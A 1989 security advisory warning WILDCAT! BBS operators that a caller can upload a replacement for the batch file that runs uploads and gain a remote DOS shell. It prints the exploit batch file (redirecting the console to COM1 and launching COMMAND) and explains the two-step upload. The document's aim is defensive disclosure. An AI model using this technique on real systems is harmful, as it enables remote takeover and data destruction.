133 lines
3.9 KiB
Plaintext
133 lines
3.9 KiB
Plaintext
|
||
|
||
WILDCAT!(tm) BBS system
|
||
Security Emergency
|
||
Documentation
|
||
January 2, 1989
|
||
Richard B. Johnson
|
||
PROGRAM EXCHANGE
|
||
(303) 440-0786
|
||
|
||
There exists within the WILDCAT!(tm) external protocol pro-
|
||
cedures the considerable possibility that somebody who is
|
||
familiar with the system could execute a copy of COMMAND.COM
|
||
and have full control of your computer, erasing or format-
|
||
ting disks, and creating all kinds of havoc. Basically, any-
|
||
thing that you could do from the keyboard can be done by the
|
||
remote-user if he knows how to do it.
|
||
|
||
Please read all the ".DOC" files in this archive and the
|
||
archives included within. I also suggest that you implement
|
||
LOG (LOG.ARC) if you haven't already done so. I was able to
|
||
detect an attempt at breaching security on my own system.
|
||
The only thing that prevented the hacker from getting to the
|
||
DOS level was he didn't know what the "upload" filename was
|
||
on my system. The LOG utility was what first called my
|
||
attention to this problem.
|
||
|
||
Note that I was able to log onto a system in Colorado as a
|
||
new user and, within 60 seconds I was at the 'DOS' level. It
|
||
had taken me only 20 seconds on my own system but I knew the
|
||
names of the "upload" batch files and the communications
|
||
adapter port being used.
|
||
|
||
The problem is that the external protocol setup, as advised
|
||
by Mustang Software, will allow an "upload" batch file to be
|
||
replaced by a batch file of the same name during an upload!
|
||
If your communications adapter port is COM1, and you use a
|
||
batch file called JUP.BAT for JMODEM uploads, the hacker
|
||
could upload the following JUP.BAT file:
|
||
|
||
REM * hacker's special
|
||
REM
|
||
REM
|
||
REM
|
||
REM
|
||
REM
|
||
REM
|
||
REM
|
||
IF %3 == HACKER.TXT GOTO BREAK
|
||
GOTO END
|
||
:BREAK
|
||
@ECHO OFF
|
||
CTTY COM1
|
||
COMMAND
|
||
:END
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
- 1 -
|
||
|
||
|
||
|
||
|
||
|
||
It works this way. The first "upload" is a file called
|
||
JUP.BAT. JMODEM (could be ZMODEM or any external protocol)
|
||
dutifully overwrites the existing JUP.BAT and exits with no
|
||
errors.
|
||
|
||
COMMAND.COM, when executing a ".BAT" file opens then closes
|
||
the file for each line in the file. COMMAND.COM "knows" that
|
||
the last line was, perhaps, line 4. It therefore looks at
|
||
line 5 for its next instruction. It executes one of the
|
||
several "REM" statements, then exits at the ":END" label
|
||
since the filename (%3) was not HACKER.TXT.
|
||
|
||
The BBS system software regains control and, finding no file
|
||
transferred, simply continues like nothing happened.
|
||
|
||
The hacker then attempts to upload HACKER.TXT using the
|
||
JMODEM protocol. JUP.BAT has been replaced with the hacker's
|
||
new version. Since the %3 parameter is now HACKER.TXT, the
|
||
batch file branches to label ":BREAK". The console input is
|
||
redirected to the COM1 port and an additional copy of
|
||
COMMAND.COM is loaded with its I/O having been redirected to
|
||
the COM1 port.
|
||
|
||
Of course the hacker has not executed any external protocols
|
||
on his system. He's just sitting there in terminal-mode in
|
||
full control of your system.
|
||
|
||
Caveat modulus carborundum.
|
||
|
||
- finis -
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
- 2 -
|
||
|
||
|